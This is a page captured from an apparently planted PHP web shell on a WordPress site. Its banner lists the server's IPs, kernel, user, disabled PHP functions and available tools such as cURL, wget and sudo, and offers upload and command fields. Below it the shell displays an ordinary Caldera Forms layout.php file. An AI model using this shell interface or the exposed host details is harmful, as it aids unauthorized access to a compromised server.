403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.171.21
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/ui/panels/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/ui/panels/layout.php
<?php

global $field_config_panels;

// TAKE IN THE GRID

if(!isset($element['layout_grid']['structure'])){
	$element['layout_grid']['structure'] = '12';
}
//dump($element);
$element['layout_grid']['structure'] = explode("#", $element['layout_grid']['structure']);

echo "<span id=\"row-remove-fields-message\" class=\"hidden\">" . __('This will remove all the fields in this row. Are you sure?', 'caldera-forms') . "</span>";
echo '<div class="toggle_option_tab" data-title="'.__('Page', 'caldera-forms').'" style="float:none;' . ( count($element['layout_grid']['structure']) === 1 ? ' display:none;' : '' ) . '" id="page-toggles">';
$pgid = uniqid('pg');
if(count($element['layout_grid']['structure']) >= 1){
	for($i = 1; $i<=count($element['layout_grid']['structure']) ; $i++){
		$name = __('Page', 'caldera-forms') . ' ' . $i;
		if(isset($element['page_names'][($i-1)])){
			$name = htmlspecialchars($element['page_names'][($i-1)]);
		}
		echo '<button type="button" data-page="' . $pgid . $i .'" data-name="' . $name . '" class="page-toggle button' . ( $i === 1 ? ' button-primary' : '' ) . '">' . __('Page', 'caldera-forms') . ' ' . $i . '</button> ';
	
	}	
}
echo '</div>';
echo "<div id=\"grid-pages-panel\">\r\n";

// BUILD TEMPLATE LOCATIONS
$fields = array();
if(!empty($element['layout_grid']['fields'])){
	foreach($element['layout_grid']['fields'] as $field_id=>$location){

		if(isset($element['fields'][$field_id])){
			$field = $element['fields'][$field_id];
			$field['ID'] = $field_id;

			$location = explode(':', $location);
			$fields[$location[0]][$location[1]][] = $field;
			$config_str = (!empty($field['config']) ? json_encode($field['config']) : null);
			$conditions = '{}';
			if(!empty($field['conditions'])){
				$conditions = json_encode($field['conditions']);
			}			
			// build config
			ob_start();

			caldera_forms_field_wrapper_template( $field_id, $field['label'], $field['slug'], $field['caption'], ( isset($field['hide_label']) ? 1 : 0 ), ( isset($field['required']) ? 1 : 0 ),( isset($field['entry_list']) ? 1 : 0 ), $field['type'], $config_str, $conditions);
			$field_config_panels[] = ob_get_clean();
		}

	}
}

$row = 0;
foreach( (array) $element['layout_grid']['structure'] as $page_key=>$page_struct){
	if(!empty($page_struct)){
		$rows = explode("|", $page_struct);
	}else{
		$rows = array('12');
	}
	?>
	<div class="layout-grid-panel layout-grid <?php echo ( $page_key === 0 ? 'page-active' : null ); ?>" id="<?php echo $pgid.($page_key+1); ?>" data-page="<?php echo $page_key; ?>" <?php echo ( $page_key > 0 ? ' style="display:none;"' : null ); ?>>
		<?php
		if(!empty($rows)){
		foreach($rows as $row_in=>$columns){ ?>
		<div class="first-row-level row">
			<?php

			$row += 1;

			$columns = explode(':', $columns);
			foreach($columns as $column=>$span){
				$column += 1;
			?>
			<div class="col-xs-<?php echo $span; ?>">
				<div class="layout-column column-container">
				<?php

					//render fields here
					if(isset($fields[$row][$column])){
						foreach($fields[$row][$column] as $field){
						?>
						<div class="layout-form-field" data-config="<?php echo $field['ID']; ?>">
							<i style="display:none;" class="icon-edit"></i>
							<i style="display:none;" class="dashicons dashicons-admin-page"></i>
							<div class="drag-handle">
								<div class="field_preview"><span class="spinner" style="display: block; float: left;"></span></div>
							</div>
							<input type="hidden" class="field-location" value="<?php echo $row.':'.$column; ?>" name="config[layout_grid][fields][<?php echo $field['ID']; ?>]">
						</div>
						<?php
						}
					}

				?>
				</div>
			</div>
			<?php } ?>
		</div>
		<?php }} ?>
		<!-- Build the grid -->
		<input type="hidden" id="page_structure_<?php echo $page_key; ?>" name="config[layout_grid][structure][]" class="layout-structure" value="">
	</div>	
<?php } ?>
</div>
<div class="add-new-item caldera-add-group caldera-add-row"><span class="dashicons dashicons-plus" data-toggle="tooltip" data-placement="bottom" title="<?php esc_attr_e( 'Click to add a new row to layout.', 'caldera-forms' ); ?>"></span></div>
<?php do_action( 'caldera_forms_layout_config', $element ); ?>
<script type="text/html" id="grid-page-tmpl">
	<div class="layout-grid-panel layout-grid" data-page="{{page_no}}" data-name="<?php echo __('Page', 'caldera-forms'); ?> {{count}}" style="display:none;" id="{{page_no}}">
		<div class="first-row-level row">
			<div class="col-xs-12">
				<div class="layout-column column-container">
				</div>
			</div>
		</div>
		<input type="hidden" id="page_structure_{{page_no}}" name="config[layout_grid][structure][]" class="layout-structure" value="12">
	</div>
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit